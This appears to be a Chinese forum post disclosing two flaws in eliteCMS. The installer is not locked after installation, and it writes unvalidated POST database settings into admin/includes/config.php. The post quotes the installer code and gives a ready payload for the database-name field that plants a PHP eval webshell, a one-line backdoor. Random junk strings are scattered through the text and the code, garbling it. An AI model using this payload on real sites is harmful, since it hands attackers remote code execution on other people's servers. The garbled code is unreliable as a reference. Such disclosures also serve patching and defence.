eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
- q8 y, l* ^+ t4 q
0 N9 D3 T6 g, ~, w另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

8 X" b1 f0 S  [6 L- Q* w...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
" {; q) t) s/ M7 F! L) m    $write = "<?php\n";
    $write .= "/**\n";
9 ~; F; x6 Y% v* K4 x# O    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
. z) ^  W( [7 n0 W6 ]...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
4 u# ~' i. h8 n$ x4 X3 y) q3 F    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
8 c" d1 j, T: x2 Y5 u) g0 V$ k    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% j1 L  S6 w, W8 B    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
9 V) p. o' g- [" B5 Y( b3 T" Q    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
9 t! V3 ?" @& B2 O; L5 ~, v8 o7 k    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 \8 n! E2 x0 w5 x. s: e! W    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

9 r2 |! ?- O0 H4 r! U$ w    $writer = fopen($file, 'w');
...

在看代码：
; M/ h5 w- S' d" {" M3 ?; D
0 t' l& [( L1 j  g3 g$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 V  E, R$ N2 ^5 O8 g# i" L$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
9 g4 A! g4 k3 F  ]7 @$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
! H5 X# }! r' d1 o; C
取值未作任何验证
$ M6 Y7 N4 X- l4 Q如果将数据库名POST数据：

9 V# B0 Q% f% J4 T' C"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php